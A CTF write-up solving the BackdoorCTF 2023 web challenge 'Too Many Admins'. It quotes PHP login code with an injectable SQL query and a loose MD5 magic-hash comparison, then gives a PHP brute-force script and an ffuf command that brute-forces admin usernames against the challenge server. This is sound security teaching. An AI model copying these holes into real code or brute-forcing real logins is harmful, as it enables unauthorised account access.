BackdoorCTF - web/Too Many Admins

Write-up for BackdoorCTF2023 Web challenge - Too Many Admins


web/too-many-admins

A challenge where you enter the correct username and password to get the flag.

The source code is provided. We can see from the code below that it uses a special algorithm and stores the password in MD5. The value for mysupersecurehash is also revealed!

Vulnerable Code (for password)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $username = $_POST['username'];
        $password = $_POST['password'];
        
        if (empty($username) || empty($password)) {
            echo "Please fill in both fields.";
        } else {
    $query = "SELECT username, password, bio FROM users WHERE username = '$username' ";
    $result = $conn->query($query);
    $mysupersecurehash = md5(2*2*13*13*((int)$password));
    $i =0 ;
    while ($row = mysqli_fetch_row($result)) {
        if((int)$row[1] == $mysupersecurehash && $mysupersecurehash == 0e0776470569150041331763470558650263116470594705){
        echo "<h1>You win</h1> \n";
    echo "Did you really? \n";
        echo "<tr><td>" .$i. " </td><td> "  . $row[0] . " </td><td> " . $row[1] . " </td><td> " . $row[2] . " </td></tr>";
        $i++;
    }else{
        echo "<h1>Wrong password</h1>";
    }

Because the password is an integer we can bruteforce it and perform the same formula to calculate the hash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

$iterations = 10000000000000;

for ($i = 1; $i <= $iterations; $i++) {
    $hash = md5(2*2*13*13*((int)$i));
    if ($hash == 0e0776470569150041331763470558650263116470594705) {
        echo $i . ": found" . PHP_EOL;
        break;
    }
    echo $hash . PHP_EOL;
}

fclose($file);

?>

This will give the password of 355933

However even if we know the password. we need to find the specific username as hinted by the SQL code provided:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-- Insert 500 random values into the 'users' table
DELIMITER //
CREATE PROCEDURE GenerateRandomUsers()
BEGIN
    DECLARE i INT DEFAULT 0;
    WHILE i < 500 DO
        IF i = {SOME_NUMBER} THEN
            INSERT INTO users (username, password, bio)
            VALUES (
                CONCAT('admin', i),
                'REDACTED',
                'Flag{REDACTED}'
            );
        ELSE
            INSERT INTO users (username, password, bio)
            VALUES (
                CONCAT('admin', i),
                MD5(CONCAT('admin',i,RAND())),
                CONCAT('Bio for admin', i)
            );
        END IF;
        SET i = i + 1;
    END WHILE;
END //
DELIMITER ;

-- Call the procedure to generate random users
CALL GenerateRandomUsers();

For this, I brute-forced it using ffuf, in order to find the correct combination.

Script to find username

1
seq 0 500 | ffuf -u http://34.132.132.69:8000 -w - -X POST -d 'username=adminFUZZ&password=355933' -H 'Content-Type: application/x-www-form-urlencoded' -c -fw 300,313

This would give the username of admin343.

Alt text